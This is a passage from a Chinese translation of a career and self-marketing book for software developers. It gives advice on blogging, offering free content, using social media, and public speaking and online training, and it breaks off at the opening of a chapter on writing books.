Spolsky（http://joelonsoftware.com）。\n即使你对上面提及的博客能带给你的所有好处都打了折扣，有一个好处是你无法轻易抹杀的——提高你的沟通技巧。组织自己的思想，并将其转化为文字，是一项颇具难度却也极具价值的技能。定期写作能帮助你打磨此技能，有了很好的沟通能力会让你在生活的诸多领域受益。此外，如果你能约束自己定期更新博客，你也就在持续刷新自己的技能，保证自己处于自己所在专业领域的前沿。\n作为软件开发人员，学习如何写博客实际上都能帮你写出更好的代码，因为你能更轻松地传达自己的意图。博客还能帮你更好地传达自己的想法，令想法更有说服力。\n创建博客\n你已经相信自己需要博客了吧？太好了。那么下一个问题就是如何开始。\n当下搞个博客很容易。使用Wordpress（http://wordpress.com）或Blogger（http://blogger.com）这样的免费服务，5分钟之内你就可以创建一个博客。但是，在签约同意接受这些服务之前，你还需要思考几件事情。\n免费服务是搭建博客最简单、最便宜的方法，但未必是最好的方法。免费服务的一个典型问题就是，你无法更灵活地掌控自己博客的主题和布局。你可以做一些定制，但无法给博客添加付费广告、购物车或别的功能。这些功能目前对你而言可能不是很重要，但是随着你的博客越来越有名，你或许希望能给博客增加一些从免费服务无法获得的功能。\n幸运的是，有一种很方便的方式来替代这种完全免费的托管平台。你可以找到许多付费服务，它们能够托管基于主流的Wordpress.org软件（http://simpleprogrammer. com/ss-wordpress）搭建的博客，每月仅需8～10美元。（顺便说一句，我强烈推荐你使用Wordpress.org搭建自己的博客。它被广泛使用，拥有庞大的生态系统。如果你选择Wordpress.org，你很容易就能够找到各种的插件来扩展你的博客，找到主题定制博客的外观。）这些付费的托管服务以低廉的价格，让你享受更多的灵活性。\n你可能一开始会用免费的Wordpress.com服务来搭建博客。（切勿把它与Wordpress.org混淆。后者是你搭建可托管在付费托管服务上的博客的真实软件。）在一段时间内，把博客建在Wordpress.com还是不错的，但是最终你还是会希望通过添加插件来定制你的博客，也希望能增加广告。可能最终你还是不得不迁移到付费托管平台。这一过程有点儿麻烦，所以还不如一开始就使用便宜的付费托管服务。\n如果你决定采用付费的托管服务，你可以找到很多提供一键安装Wordpress.org软件的服务，几分钟内就可以搭好运行了。与免费服务相比，没难多少，但你能有更多的权限去定制自己的博客。\n你也可以将自己的博客托管在虚拟专用服务器（VPS）上。VPS基本上就是一个能托管博客的完整的云端操作系统。在所有的付费服务中它是最便宜的，但也是难度最大的。我目前就将自己的博客Simple Programmer（http://simpleprogrammer.com）托管在VPS上。但是如果你刚刚起步，我不建议你这么做。\n如果你还是决定用免费的托管服务，我有一条忠告：务必注册自己的域名。免费的托管服务默认会给你的博客分配一个地址，但这个地址是他们的域名的一部分。你应该注册自己的域名并以此来代替默认的博客域名，即使这样你需要支付额外的费用。因为，你的博客流量的很大一部分可能是来自Google这样的搜索引擎。\nGoogle给特定网页和域名进行“网页排名”时，主要依据是有多少网站链接到该域名。如果你计划未来把自己的博客切换到付费托管服务上，你需要先确保你能够把搜索引擎的相关性（即网页排名）一起带走，所以一定要确保一开始就有自己的定制域名。（你也可以以后再解决这个问题，但是不值得这么折腾。一开始就正确地做事要容易得多。）\n创建博客的步骤\n决定要使用哪种托管服务：免费的、付费的还是VPS。\n设置或安装博客软件。\n配置或者自定义所有主题。\n开始写吧！\n打造成功博客的秘诀\n好吧，现在你已经设置好自己的博客，也写了几篇文章，接下来怎么办呢？要是没什么人读你的博客，那也是无济于事，所以你应该了解如何获得流量。毕竟，本章不就是论述如何打造成功博客嘛。\n打造成功博客的最大秘诀有且仅有一个——持之以恒。我和许多成功的博主都谈论过，他们都有一个共同点——写了很多博客。我认识的一些最成功的博主每天都要写博客，而且已经坚持了许多年。\n别担心，你其实不必每天都写博客（刚开始的时候，一周写上两三篇博客也无妨）。最重要的是，定好一个计划，然后坚持不懈。博客更新的频率将决定你的博客成功的速度。我强烈建议以每周至少一篇的速度更新博客。以这个频率，你每年就会增加52篇博客。这非常关键，因为正如我前文所说，你的博客流量的很大一部分（甚至是绝大部分）都来自Google这样的搜索引擎。博客文章写得越多，来自互联网搜索的流量也就越多（只要文章看起来像那么回事儿，而不是一大堆词汇的随机堆砌）。\n我敢肯定，如果你每天写一篇博客且坚持好几年，想不成功都难。尽管如此，只是持之以恒还不足以使你的博客大获成功，你还应该确保你写的都是高质量内容。为什么要重视博客内容的品质？原因有两个。第一个也许也是最重要的一个原因是，博客内容的质量越高，越能吸引人持续浏览你的博客，或者通过RSS和电子邮件订阅阅读。在你给读者提供更多有价值的信息的同时，你也就成功积累了自己的目标客户。\n重视博客内容品质的另一个重要原因是为你的博客提供更有价值的链接。大多数搜索引擎判断网页品质时都是基于有多少其他页面链接到这个页面上。网站内容的品质越高，就越有可能被社交媒体分享，并被从其他网站链接到该网站上。链接到你博客的网站越多，能给你的博客带来的流量越多——道理就是这么简单明了。你也希望能写出让别人愿意阅读并分享的内容。\n在你被这一切吓倒之前，我要强调一点：别担心。你的博客不需要完美。在起步之初，你的博客很可能会很糟糕。但是，随着不断尝试贡献出优秀的内容，而不是将自己脑子里的东西随意丢到网页上，不考虑格式和结构还有一大堆拼写错误，你终会成功。每周只发布高质量的内容，随着时间的推移，你的博客的品质会越来越高。\n有价值的内容可以以不同的形式呈现。分享你的经验也许能帮助阅读你博客的人，而一个有趣的故事也许能让他们感到些许快乐。\n持之以恒地坚持写作，坚持不懈地产生高品质的内容，如果你做到了这两点，基本上你就成功了。我是怎么知道的呢？因为我一直都在给软件开发人员做演讲，每当我问软件开发人员“谁开了博客并且坚持每周更新的请举手”时，一屋子100个开发者，运气好的时候我只能看到一个人举手。持之以恒地撰写优质内容，能让你轻松跻身开发人员的前1%之列，至少在自我营销这方面。\n地雷：可是我真的不知道该写些什么\n许多想要开博客的人要么从来就没有开过，要么开了之后不久就很快放弃了，因为他们要么不知道该写什么，要么发现自己实在没什么可写。\n解决这个问题的最好方法是提前头脑风暴出各种不同的想法，随时更新可能的博客主题的清单，这样你总是保持一堆话题可供选择。\n同时，不要太担心你的文笔如何，不要太在意别人的想法。有时候你只是要写一篇博客让自己的博客有内容，并不知道这篇博客会是自己点击量最高的文章。我写过不少自己觉得很差的文章，却成为最热门的文章。\n要想弄清写什么，还有一个技巧，就是与别人就某个话题展开对话，甚至辩论。我经常发现自己写的最好的文章一般是先前曾与别人讨论过的。找一位朋友，就某个话题展开辩论，你会发现这个话题得写好几页。\n当然，还有一些其他的方法可以让你的博客成功。接下来我们来讨论这些方法。\n提升访问量\n刚开始开博客的时候，基本上就是无人问津。你无法从搜索引擎获得更多的流量，也没有哪个网站会链接到你的博客上。你该怎么做呢？\n我要推荐的第一个策略就是开始评论其他人的博客。找到撰写类似主题的博客的开发人员，在他们的博客写下有意义的评论，只要有机会就链接到自己的博客上。（通常在为了评论而进行注册时，你的个人主页会包含你的博客链接，所以你甚至都不用亲自在评论中链接到自己的博客。）\n要想让这一策略奏效，你需要付出不少努力，但是这种方式也能帮你与欣赏你的评论的博主建立联系。（请不要做出只包含你博客链接的垃圾评论，那不会给对话增加任何实际价值。）坚持每天都在不同的博客上发表评论，假以时日，你就能看到来自你访问并留下评论的博客的流量了。你的评论越有见地，人们越有兴趣查看你在自己博客上所说的。（你也可以撰写博客文章，作为对别人的某篇博客文章的回应。这是获得流量非常有效的一个策略，特别是，如果他们也添加了你的博客链接的话。）\n另外一些在初始阶段获得流量的好办法就是：在社交网络上分享你的博客文章，在你的电子邮件签名的底部以及所有的在线个人主页中添加你的博客链接。这种方法可能不会产生如你预期的流量，但仍然值得一试。\n你还应该让分享内容的方式更简单，以方便其他人分享你的内容。如果你使用Wordpress.org，可以使用各种插件给自己的内容添加分享按钮。Wordpress.org软件甚至内置了一些分享功能。你甚至可以在博客底部添加一个“一键式”按钮，让你的博客的读者直接分享博客的内容或者订阅你的博客。\n最后，如果你足够勇敢并且认为自己的文章足够优秀或者富有争议，可以把自己的文章提交（或者请别人提交）到Reddit（http://reddit.com）或者Hacker News（http://news.ycombinator.com）这样的社交新闻网站。当然最后还要提醒一句：有些挂在这些网站的人纯粹心怀不善。我曾经把自己的文章分享到Hacker News，差点被怒气冲冲的评论员们生吞活剥，他们就是故意找茬儿。你得脸皮够厚，承受得起这类恶毒的辱骂。但是，如果某天你的一篇文章在这些网站大热，那你每天都能收到数万的访问和回链。总的来说，还是值得的。\n我可不能保证你能够一鸣惊人\n我很想说“如果你遵循本章中我教你的每一件事，我保证你会成功”，但是很不幸，我无法做这样的保证。我只能说：“如果你遵循这些建议，你更有可能获得成功。”让你的博客大获成功，需要一点运气和时机，但是一个博主没有持续写出高水平的内容就能获得成功，这几乎闻所未闻。\n采取行动\n你喜欢的开发人员博客有哪些？看一看你读的这些博客，试着列出这些博客的更新频率和每篇文章的平均长度。\n如果你现在还没有博客，马上行动。今天就注册一个，然后创建你的第一篇文章。制订一个时间表，强迫自己将来坚持写博客。\n承诺自己会坚持写博客至少一年时间。要实现目标需要时间和努力。大多数人坚持一年左右的时间就会看到相应的效果。\n创建一个流动的博客文章主题列表。每当有新想法，就把它添加到这个列表中。在需要写新博文的时候，文章主题就能够信手拈来。\n第22章 你的主要目标：为他人增加价值\n不要努力成为一个成功的人，而要努力成为一个有价值的人。\n——阿尔伯特·爱因斯坦\n当你营销自己的时候，如果你所做的一切都只是为了自己的利益而不给别人带来真正的价值，那么即使你所做的都正确无误，那也无济于事。你可以写博客、在社交媒体上分享自己的内容、在大会发言、著书立说，尽你所能来推广自己，但是，如果你表达的和你传递的信息不能帮到其他人，那么每个人都将会无视你。\n人们最关心的还是自己。没人想听到你的成功故事，也不想知道为什么他们要帮你获得成功，但是他们肯定想听到你会怎样帮他们获得成功。所以，要想让自我营销的所有努力奏效，基本的方法就是帮助他人获得成功。\nZig Ziglar说得好：“如果你能帮助足够多的人们得到他们想要的东西，你就会得到自己想要的东西。”这是一个基本的策略，你应该将其用于自我营销。它比其他任何方法都更有效。\n给人们想要的东西\n要想给人们想要的东西，要先知道他们想要什么。但是这并非易事，因为如果你问他们，他们可能会撒谎。他们并非故意撒谎，而是他们也只有一个模糊的概念，并不确切地知道自己想要什么。就像新娘在找心目中的完美婚纱时，只有切实看到了才会知道“这就是我想要的”。\n想要弄明白他们的真实想法，你得全凭自己。你必须要学会通过现象看本质，然后找到方法来提供自己的价值。如果你已经深谙此道，对你来说这个就是驾轻就熟。但是，如果你还疏于此道，那么你要去探究一下人们对什么感兴趣。在网络论坛上与你选定的细分领域相关的话题有哪些？你认为行业的整体趋势是什么？以及，或许是最重要的，人们都在害怕什么，对此你又该如何应对？\n你提供的内容应该直接瞄准你所选定的研究领域，为该领域带来价值。你可能会对某一构架或者某一技术的某个方面特别感兴趣，但是如果你的受众对此并不感兴趣，那也是白搭。另一方面，你通过自己的博客或其他你创建的内容触动了别人的神经，你很快就能发现受众的兴趣点。如果你能通过自己产生的内容解决一个真实的问题，或者能让别人关注你文章的内容，那你就会为他人创造真正的价值。你也就会给他们想要的。\n把你工作成果的90%都做成免费的\n有些人心存疑虑，为什么我将我提供的所有内容都设置成免费的。我每周写三篇博客，发布一个YouTube视频、两个播客还有其他一些内容，这些都是完全免费的。我坚信你提供的所有内容，90%应该完全免费。为自己的辛勤工作收费，无可厚非。但是你会发现，当你免费给人们提供实际价值时，回报更大。\n免费内容比付费内容更容易被分享。你撰写博客、制作视频或者播客，然后将这些内容免费提供，与收费内容相比，人们更可能会分享和传播这些免费的内容。分享免费内容就跟在Twitter上发链接或发邮件一样简单。与付费内容相比，免费内容能让你触及更多的目标受众。\n通过提供免费内容，你让人们有机会无需投入资金就能了解你生产的内容多么有价值。你可能暂时没有收费的打算，但是一旦有此计划，你很容易说服人们去付费，因为他们早已通过你提供的免费内容知道你提供高品质的内容。免费还会让人们对你心生感激之情，他们也希望能通过购买你开发的产品或服务来回报你。\n虽然免费做这些事情看起来是在浪费时间，但是你要把它视为对未来的一项投资。通过为人们创造价值并且免费提供这种方式自我营销，你就赢得了为他人提供价值的声誉，也为自己的未来创造了机会。这种声誉的价值是无法衡量的。它能帮你赢得更好、更高薪水的工作，获得更多的客户，或者成功地发布一款产品。\n奔向成功的快车道\n每次当你开始着手做某件事情的时候，无论是创建博客、截屏视频还是别的活动，你应该从它是如何为他人创造价值的角度来看待它。正如我坐在这里写这本书的时候，我时常都在想，我写下的每个字是否能让你获益。我该如何向你传递这些对你有益的信息？我如何才能为你提供价值？\n你很容易落入这样的陷阱：一直谈论自己并试图证明自己价值连城。然而，你会发现，能解决他人的问题，真正能够帮到他人，你更容易获得成功。跟别人唠叨为什么自己是世界上最好的Android开发者，对你并无益处，但是如果你能帮助别人解决他在开发Android应用时遇到的问题，他就会认为你很棒。\n你应该把这种态度应用在所有自我营销的媒介上。在下面几章中，我们将讨论如何利用多种媒介来营销自己。但是，如果你不知道如何通过为他人解决问题和提供价值来把自己与目标客户关联起来，你就不会成功。\n赠人玫瑰，手有余香\n也许你会认为，应用“思利及人”的做事方式就可以获得成功是值得质疑的。但是，事实证明，最富有创造力的人也是最乐于助人的人。为什么呢？我个人认为这是多种因素组合的结果。你帮助别人越多，面对的问题和情况越多，就能结交的人也越多。总是帮助他人解决问题的人，在解决他们自己的问题的时候会是更加轻松自如，而当他们真遇到障碍的时候，总是会有好多人伸出援手。\n相信这一点的人并非只有我一个。我读过一篇有趣的文章，讲述沃顿商学院一位31岁教授的故事。他极为高产，也乐于助人（http://simpleprogrammer.com/ ss-giving-secret），在自己的研究领域——组织心理学方面建树颇丰。他所做的大量研究表明：帮助他人实际上就是在帮助自己获得成功。\n采取行动\n什么样的内容会让你觉得最有价值？有没有哪个特别的博客会让你每周都去阅读，或者哪个播客的内容如此有价值让你欲罢不能，以至于一集都不想落下？\n你可以提供给自己的受众或你的细分市场的最大价值是什么？你认为什么样的内容对于你的受众群体而言是最有价值的？\n第23章 善于运用社交媒体\n如今，社交媒体在人类生活中占据很大的比重。Facebook、Twitter、Google+以及LinkedIn成为人与人之间重要的联系纽带，也是共享信息的重要手段。身为希望营销自己的软件开发人员，你需要在这些社交网络上占有一席之地，你需要学会如何通过分享的内容和分享的方式塑造自己的形象。\n最近，“通过社交媒体进行品牌营销的重要性”成为社交媒体专家们的讨论热点。尽管我也认同其重要性，但是我并不认为它像某些人对你宣扬的那么有效。不管怎样，如果你想在受众面前最大限度地提升曝光度和参与度，那你就需要了解使用社交媒体来推广自己品牌的基础知识。\n在本章中，我会帮助你梳理社交媒体的使用策略，带你领略一个个主流社交网络，并且展示一些运用社交媒体传播自己信息的方法。\n培育你的社交网络\n要想用好社交媒体，首先你要给自己积累足够多的粉丝，或者至少是让人们进入你的社交网络。如果你拿着大喇叭大声呼喊却无人听到，那也无济于事。\n有多种不同的策略来帮助你构建你的社交网络，你要根据具体的社交网络来决定自己该怎么做。不过对于大多数社交网络来说，最容易做到的就是关注他人，或者邀请他人加入你的网络。方法很浅显，但大多数开发人员还是守株待兔，等着其他人来关注和互动。记住，如果你对别人感兴趣，他们会对你更感兴趣。\n你也可以把自己社交网络的个人主页的链接放在你的在线介绍、博客文章的结尾或者邮件的签名档中，通过这些方式获得关注。简化人们联系你的方式，人们就会联系你。你也不要害怕去主动邀请别人。在博客文章的结尾呼吁人们在Twitter上关注你，无伤大雅。\n要构建大型的社交网络肯定会需要一些时间，所以不要急于求成。那些宣称“可以在几天之内大幅度增加你的粉丝数量”的黑幕服务看起来很有诱惑力，但是，大多数情况下花钱买“伪粉”结果都是打水漂。这些“伪粉” 实在是不值一提，因为他们并不代表真正的人群。\n有效地运用社交媒体\n你的社交媒体应用策略应该主要聚焦于构建稳定的受众群体，并逐步提升活跃度。你应该想方设法让人们从关注者变为粉丝，这样他们就会更加关注你的内容，会与别人分享，也会积极地推荐你。这也是你打造业界声望的方法。那么，你该怎么做呢？\n我依旧将这个方法归结为“提供价值”。 如果你持续不断地在自己的社交媒体上给别人分享和提供有价值的内容，那你必定会赢得尊重和声誉。但是，如果你总是发布不适宜的、攻击性的内容，又或者都是一些只与你自己相关的类似“早餐吃了什么样的鸡蛋”这样毫无营养的内容，那就等于是把人赶走。\n那么，你应该在社交网络上发布什么内容来为他人带来价值呢？答案很简单：你认为有用或有趣的。你自己觉得有价值的东西，在很大概率上别人也会认同。要确保你发布的内容一直保持在较高的水准上。如果你以“江湖百晓生”而闻名，特别是在某个细分领域，那么人们自然会更多关注你在社交媒体上的分享，并且更愿意分享你的内容。\n每周我都会把自认为有用的信息整理为一份内容集锦，藉此吸引人们在社交网络上关注我。这份集锦通常包括博客文章、新闻报道、励志名言、与软件开发相关的小技巧等，同时我还会提出一些问题来挑战我的关注者，促使他们与我对话。表23-1展示了我分享的内容类型。\n表23-1 通过社交媒体分享的内容\n方式\n内容\n博客文章\n转帖一些博客文章，或者自己的博客\n新闻报道\n转载一些有趣的文章，尽量与你的细分领域有关，或者与软件开发相关\n励志名言\n名人名言，特别是鼓舞人心、非常流行的名言警句\n技巧、小窍门\n任何你所了解的特殊技巧或者知识，别人会很欣赏\n幽默故事\n发一点儿幽默故事挺不错的，但是一定要确保确实好笑，另外千万别冒犯别人\n吸引人的问题\n这是一个很棒的吸引你的听众并和他们互动的方法\n自己的一些推广活动\n别太多，并且跟其他内容混合在一起\n显然你要一直发布新博客文章或者自己的其他内容。不过如果你要销售书或别的产品，或者自己提供的咨询服务，你要谨慎地在自己的社交媒体上发布。正如你要把自己的产品/服务90%免费一样，你分享给自己的关注者的90%也应该是有价值的内容而非你的广告。\n保持活跃度\n社会媒体面临的一大挑战就是保持活跃度。如果你不能持续不断地在你的社交媒体上保持足够的活跃度，你将会丢掉大量粉丝。但是，保持活跃也会成为一种负担——每天都要管理和维护自己的Twitter、Google+、Facebook和LinkedIn以及其他各种社交媒体，同时还得从事现实生活中的实际工作。\n除非你愿意每天都投入大量的时间，否则你不可能在所有的社会化媒体平台都保持很高的活跃度。那么，最有可能的情况就是，选择一到两个作为你最心仪的平台。\n就我个人而言，其实我并不喜欢在社交媒体投入大量的时间。我觉得它很容易就把我每天的时间蚕食掉，所以我尽量对它退避三舍。但是我仍然需要保持活跃，那该怎么做呢？\n我目前使用Buffer（http://simpleprogrammer.com/SS-buffer）这一工具，当然能做同样事情的类似工具还有很多。Buffer能够让我一次性安排好我的社交媒体更新计划。当新的一周开始的时候，我会浏览所有我希望分享到自己的社交媒体上的各种内容，再创建一个各种内容的集锦。我会计划好在这一周内的不同时间发布这些内容。当我发现一些有趣的值得分享的东西时，我可能会临时增加内容，不过每周我都确保自己每天在每个社交网络至少发布两篇内容。同时我还设置：当我发表新的博客文章或YouTube视频时，这些内容被自动分享到我的所有社交网络上。\n我强烈推荐你采用类似的方法来管理自己的社交网络，这样你每天就不用为了面面俱到而浪费大把的时间。我现在每周在社交媒体上只花费不到一小时的时间，确实相当高效。\n不同的社交网络，不一样的功能划分\n作为一名潜心钻研“自我营销”的软件开发人员，你应该在各大主流社交网络上占有一席之地，特别是更偏重技术和职业发展的社交网站。你可能也想要创建个人页面或个人主页，以便直接展示自己的品牌。要想同时维护好自己的个人账号和职业账号，工作量相当巨大。\n我的首选推荐是Twitter，因为许多开发人员都在使用Twitter，它是一种能让你结识用别的方法认识不了的人的极好方式。你可以在一条推文中提及别人，甚至是相当有名的人，并且有较高的概率获得回复，因为Twitter使用起来很方便。某人可能会忽略你发给他的电子邮件，但是他会只花几秒来回复你的推文。我还发现，Twitter也是分享博客文章和科技相关新闻的好地方。Twitter对字数的限制能保持对话简短又切题。\n接下来我会推荐LinkedIn。很显然，鉴于LinkedIn是面向专业人士的社交网络，你应该在LinkedIn上创建个人主页。在LinkedIn上你可以创建自己的在线简历，与其他专业人士建立联系。它是社交和专业内容的优质渠道，你的博客文章能够准确直达目标受众。你还能使用LinkedIn的群组功能直接与你的目标群体建立联系，他们要么对你的细分市场感兴趣，要么自己早已参与其中。\nLinkedIn最为人津津乐道的功能就是你可以邀请联系人为自己的能力背书。这项功能很棒，你一定要善加利用。对于列在LinkedIn个人主页上的每一项工作，请务必找前同事或者经理为它们背书。这可能会让你觉得有点儿不自在，不过LinkedIn页面上的背书可能会与你原来的认知相去甚远。背书提供了社会证明，这对于塑造个人形象是一个强有力的工具。想想你最近一次在亚马逊上买东西的经历。你有没有阅读产品评论，找到评价最高的产品？那是我在网上购物的基本方法，我还知道很多人也是这样在网上购物的。\nFacebook和Google+的重要性都不及Twitter和LinkedIn，但我还是建议在上面都开一个账户。对于这些平台中的任意一个，你可以使用个人账号，也可以创建一个页面用作业务介绍或品牌介绍。在Facebook和Google+上你也可以找到有价值的群组，可以与你的目标受众保持联络，也能向有兴趣的人直接分享特定的编程语言或技术。\n采取行动\n你当前是如何使用社交媒体的？看看你使用社交媒体的时间线，找出别人根据你在社交媒体上的分享，对你和你的品牌产生的印象。\n制订一份社交媒体改进计划。确定有哪些内容需要分享在不同的社交媒体上，把它们整合在一起形成一套每周内容分享策略。关注哪类分享最为流行。\n第24章 演讲、报告和培训：做“说话的极客”\n演讲和举办某种形式的培训是连接普罗大众和自我营销的最有效的方式之一。虽然这一方式在扩散速度上不及其他媒介，但是站在目标受众面前，直接面对他们侃侃而谈，却是最能打动他们的方式。\n就我自己而言，再也没有比走上讲台发表演讲更让我兴奋不已的事情了。这种面对面地与听众直接交流、直接获取反馈的方式拥有特殊的魔力，是其他方式所不能比的。\n即使你没有机会走上讲台上发表演讲，在工作中举办一些讲座对你的职业生涯也大有裨益。你可以创造绝佳的机会展示你的高效沟通能力，充分表达自己的想法，从而打动你的同事甚至你的老板。\n唯一的问题在于，开口讲话并不那么容易。开始的时候你大概还会很踌躇——“我没有经验啊”“我很紧张很害怕啊”。走上讲台在公众面前开口讲话，确实不轻松，尤其是在你从来没有这样做过的时候。\n在本章中，我将告诉你，为什么演讲和培训这类事情对你的职业生涯非常重要，我还会给出一些具体的操作性建议：如果你从来没做过，我会告诉你如何开始；如果你已经做过了，我将告诉你如何更上一层楼。\n为什么现场演讲如此有力\n你听过摇滚音乐会，看过乐队的现场演出吗？为什么非要去现场呢？完全可以买张唱片在家里悠哉悠哉地听上一曲啊。没准儿用你自己的耳机聆听CD的音效会更好呢。去听歌剧、看戏剧也是如此。为什么不能换成看电影？\n要想解释清楚有些困难，在你参加现场活动的时候，你建立了非常个性化的链接，而这种感受无法通过听录音或者看录像获得。同理，让听众在现场聆听演讲会比其他媒介更能打动他们，即使它们的内容完全一样。\n听过你演讲的人更容易记住你，也会觉得与你建立了某种个人关系。这就好比我们能够记住去看自己心仪的乐队现场演出的次数，但是记不住听他们唱片的次数。\n演讲也是一种互动媒介，或者至少你能将其作为媒介使用。当你在大会发言时，你能够直接回答现场听众的问题，让他们参与到你的演讲当中。这种交互方式能够迅速建立起人群对你的大量信任感，能帮你收获粉丝，促进信息的传播。无巧不成书，在我撰写本章内容的时候，我看到有一位开发者正在发推文。他曾经参加过我组织的“如何自我营销”的讲座，现在他不遗余力地把我和我的博客推荐给别人。我想，要是他没有听过我的演讲，他是不会主动做这件事的。\n许多你早有耳闻的知名软件开发人员也是通过演讲拓展他们的职业生涯的。我的朋友John Papa就是一个很好的例子。开始的时候他只是在小型会议上发表演讲，现在他穿梭于世界各地，畅谈各种技术。通过成为“演说家”而为人所知，进而给他自己创造了很多机会。\n开始演讲\n好了，现在我应该是已经说服你了，演讲是如此重要，值得一试。不过你可能还在疑惑该如何开始，因为这还真有点儿棘手。\n首先我要提醒你，如果你先前从来没有做过公开演讲，也没有建立起自己的名声，那你不可能去重要的大会上发表演说。不过你也没必要以这种方式起步。最好从小规模的场合做起，逐渐完善你的演讲技能。要想能在公众面前从容自如地发表演说，需要很长时间的刻苦练习。\n一开始最好是在自己的工作场合做讲座。大多数公司都欢迎自己的员工分享各种话题，特别是与当前工作直接相关的内容。你可以介绍自己的团队正在使用的技术，或者给团队进行一些相关领域的培训。你无需把自己包装成为专家，只是热心希望通过分享自己所学而对他人有所帮助。（事实上，你会发现，你应该经常采用这种方法。太多人希望被包装成为“专家”，从此不再真诚谦逊。而作为一个脚踏实地、有缺点和弱点的真实的人，花更长时间与公众建立信任，也会让你看起来不那么古怪。）\n另一条成为“演说家”的路径是代码训练营[1]和用户组举办讲座。大多数大城市里都有各种软件开发人员组成的用户组，加入离自己近的用户组并不难。在加入用户组一段时间后，你可以询问组织者是否可以就某个特定的话题做一次讲座。大多数用户组都欢迎新人分享，因此只要你的话题有趣，就有机会出场。这样的机会非常好。你面对的是一个较小规模但是更宽容的听众群体。此外，这也是向当地的公司和招聘人员推销自己的好机会。\n除了用户组，每年世界各地还有各种代码训练营。大多数代码训练营允许任何人就它们选定的主题发表演讲，不拘能力经验水平。抓住这样的机会，每年至少在一场代码训练营上演讲。因为参加这些活动是免费的，所以这种场合下演讲者的压力很小。你大可以放松，即使搞砸了也没什么大不了的。\n最后，一旦你拥有了一些演讲经验，就可以向各种开发者大会提交演讲申请。当然，在这一领域会有一些竞争，往往还会经过一个“老男孩”系统的筛选[2]，但是一旦你获得认可，每年你就可以获得很多演讲机会。而且，大多数这种会议，会为你全额报销差旅和其他费用。（我认识的许多软件开发人员都穿梭于世界各地参加这种大会。他们可能不会因为演讲而获得酬劳，但是他们能够去他们没有去过的地方，扩展自己的受众群体。如果你是自由职业者，这样的大场合也是拓展业务的好地方。）\n地雷：我对在公众面前演讲怀有恐惧\n没事的，很多人都有此症。公共演讲恐惧症是最常见的一种恐惧症。对此你可以做什么呢？好的，有像Toastmas（http://www.toastmasters.org/）这样的组织，帮你在舒适的氛围中克服对公共演讲的恐惧，你可以加入他们。你也可以从较小规模场合的演讲做起，比如在会议上站起来发言，或者在一小群你熟知的人面前做讲座。当你对此越来越感到轻车熟路的时候，你就可以到更令人生畏的地方公开演讲了。\n你要记住，作为人类，我们拥有良好的适应能力。只要你把一件事情重复足够多次，你自然就会接纳它。伞兵们第一次跳出机舱的时候都很害怕，但是经过多次成功跳伞之后，恐惧最终都会消失。如果你一直坚持在公共场合发表演说，你一定会应对自如，恐惧感终将消散。\n做培训怎么样\n做培训，不论是现场培训或录制培训，都是建立自己的声誉的另一种很棒的方式，甚至还能赚点钱。我本人正是通过提供网上课程取得了相当大的成功的。培训不仅能够给我带来收入，还让我获得了“行业专家”的美誉。\n在过去，成为职业的培训讲师或是获得讲课机会，都挺难的。现在，几乎每个人都可以提供某种形式的在线培训课程。当然，你也可以坚持做传统的课堂培训，但是对于大多数开发人员来说，由于不打算以此为职业，因而网上视频培训是一个更简单也更灵活的解决方案。\n刚开始的时候，最好的方式是在免费视频网站（如YouTube）上通过创建截屏视频的方式做分享。截屏视频就是在你演示如何操作的时候录制你的计算机屏幕。如果你能通过这些截屏视频一板一眼地教会其他开发人员某个概念，你就可以轻松赢得“精通某某领域的专家”的美誉。这种声誉可以帮你赢得更好的工作，如果你是自由职业者，“专家”的美誉还能带给你客户。\n即使开始的时候你提供的是免费的培训课程——如前所述，提供免费培训是提升自己品牌的绝佳方式——最终你也可能想为自己创建的内容收费。关于如何针对你的视频培训内容收费，有多种方案可供选择。\n首先，可以与像Pluralsight（http://simpleprogrammer.com/ss-pluralsight）这样的专业为开发者提供培训的公司合作。我的大部分在线培训视频都是为Pluralsight制作的。不过也有其他公司会付费请你去制作内容，将部分利润以版税的形式付给你作为酬劳。这与写书类似。当你为这类公司制作内容的时候，你通常只负责制作内容，无需为市场和销售操心，因为你的内容会被整合进它们现有的课程体系中。通常情况下，这类网站都会有某种形式的试讲环节，因此并不能保证你一定会被接受，但是试一试总没有坏处吧。\n如果你想走更为激进的“单飞”路线，那可以试着自己创建内容并直接销售。在这方面我已经获得了成功，一直在自己的网站上直接销售“How to Market Yourself as a Software Developer”（“作为软件开发人员，你将如何营销你自己”，http://devcareerboost.com/m）培训课程。这种方法的唯一困难在于，你不得不亲自完成所有的营销工作，你必须要找出内容发行的方法和相应的收款方式。\n还有一种混合方式就是与线教育公司Udemy（http://simpleprogrammer.com/ss- udemy）开展合作。Udemy允许任何人在他们的托管平台上发布内容，但是他们会抽取利润中的很大一部分。你主要负责做自己的营销，为自己赢得客户。我知道有几位软件开发人员已经在此平台上获得成功。\n采取行动\n列出你所在地区的所有用户组清单，同时列出你能去发表演讲的代码训练营清单。挑选一个自己觉得比较有把握的专题发表一次演讲。\n找出网上提供的那些针对软件开发人员的培训课程，无论是付费的还是免费的，关注并记录找出成功的培训师是怎么做的。\n试着以截屏视频的形式创建自己的短时培训课程，然后在YouTube等网站发布。\n创建一个列表，列出所有你可以发表演讲的主题。\n[1] “代码训练营”是一种非正式的全免费社区组织，通常是按照地区来组建的。按照社区成员的建议，代码训练营不定期的举办讲座。讲座的主持人也是代码营的成员。最初的代码训练营由微软倡导组建。以上这段文字根据维基百科编译。——译者注\n[2] 暗指要经过经验和技能考察。——译者注\n第25章 著书立说，吸引追随者\n如果你想要在写作方面有所建树，就必须要与你的读者建立密切的联系。衷心希望，你在阅读这些文字，能够感受到我与你在一起——这正是我想要做到的。我本可以以另一种截然不同的方式开始本章，但是我没有，因为我希望能通过直接对话的方式强化我们之间的联系。\n如果我所做的一切都正确无误，在你阅读这些文字的此刻，你应该感到我正在与你谈话，而不是说教。文字不只是信息。文字就像一块功能强大的画布，将你的心声传递给其他人。有时，在你阅读我写的文字的时候，这种感觉可能会比我对你所讲的同样的话语更为真实。通过文字，你能传达自己的心声；如果你的心声很有趣，能够吸引到读者的注意，给他们提供价值，那他们就会与你建立联系，你终将征服他们。\n为什么著书立说如此重要\n你有没有听过“关于这个主题，他写过一本书”这样的话？书籍为它的作者带来非凡的影响力。一个人通过写书可以收获极大的信赖。如果你也想被看作业界值得信赖的人，你也应该写本书。同样，在软件开发的相关杂志上发表文章也是如此。大多数人都认为，如果某个人就某一特定主题写过书或者发表过文章，那么他们就可能是这方面的专家。如果你打算营销自己，被视为专家当然无任何坏处。\n除了能让自己的大名出现在装订成册的书脊上，一本书就像是一辆满载的货车